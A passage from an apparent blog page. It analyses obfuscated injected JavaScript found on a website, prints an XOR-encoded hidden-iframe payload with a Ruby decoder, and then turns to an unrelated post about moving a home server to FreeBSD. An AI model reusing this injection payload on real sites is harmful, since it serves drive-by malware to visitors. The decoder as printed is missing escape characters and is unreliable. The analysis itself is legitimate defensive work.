var d = parseInt(sr.charCodeAt(i) ^ 85);

The “getElementById” that testws35fdgh refers to is this empty div:

<div id="testws35fdgh"></div>

As it turns out, this is some really terrible obfuscation, here’s the simple script to decode it (written in Ruby because I like Ruby):

#!/usr/bin/env ruby
hex = ["x69","x3c","x33","x27","x34","x38",
"x30","x75","x3b","x34","x38","x30","x68",
"x72","x36","x3a","x20","x3b","x21","x30",
"x27","x72","x75","x26","x27","x36","x68",
"x72","x3d","x21","x21","x25","x6f","x7a",
"x7a","x33","x27","x34","x38","x30","x26",
"x21","x34","x21","x7b","x3b","x30","x21",
"x7a","x3c","x3b","x31","x30","x2d","x67",
"x7b","x25","x3d","x25","x72","x75","x3d",

"x65","x72","x75","x26","x36","x27","x3a",
"x39","x39","x3c","x3b","x32","x68","x72",
"x3b","x3a","x72","x6b","x69","x7a","x3c",
"x33","x27","x34","x38","x30","x6b"]
line = ""
hex.each { |c|
## Unpack the char
c = c.unpack('c').to_s.to_i
## XOR with 85
d = c ^ 85
## Pack back into a character
t = [d].pack('c')
## Append to the line
line = line + t
}
puts line

Which eventually leads you to:

Looks like someone’s been up to something naughty It also looks like it was originally a Russian site (not that it matters). Since the site is down, it’s difficult to tell what would have happened if the iframe source still existed. I’m guessing malware.

Still, the question remains, how did the javascript get to the page? I’m still looking in to that, right now my theory is php remote-file-inclusion, but we’ll see as things become a bit more clear.

Initially, Solaris worked great serving up a webpage, however, the fact that I did a whole install and the fact that solaris is not exactly speedy on older hardware made working with it a little painful. If unattended, the next time I accessed the machine it would take a few seconds to spin up before allowing a login or serving a webpage. The fact that I left mostly all of the daemons running didn’t help. Yea, I know I could have disabled them all, I just like started clean rather than having to clean up.

Enter FreeBSD. I decided to stay away from Linux also, short of a Gentoo install (which would be painfully slow to compile everything), it’s an extremely easy way to get a minimal install with the smallest amount of effort. That and I enjoy using different things, time to brush up on the BSD knowledge since it’s been a couple of years since I’ve used it. Anyhow, now the machine is running FreeBSD 6.2-RELEASE with a pretty vanilla install. I set up Lighttpd, MySQL, PHP for a web service so I can teach Delilah PHP one of these days. I also set up ajaxterm so I can access a command-line from places where SSH is blocked completely *cough*work*cough* in the event of an emergency.

Overall, I’m liking it more than Solaris, it’s certainly a lot more snappy and much easier to get all the things I want using ports than trying to mess with doing a build from source on Solaris.

Anyone have any suggestions for what else I should use it for? Let me know in the comments!
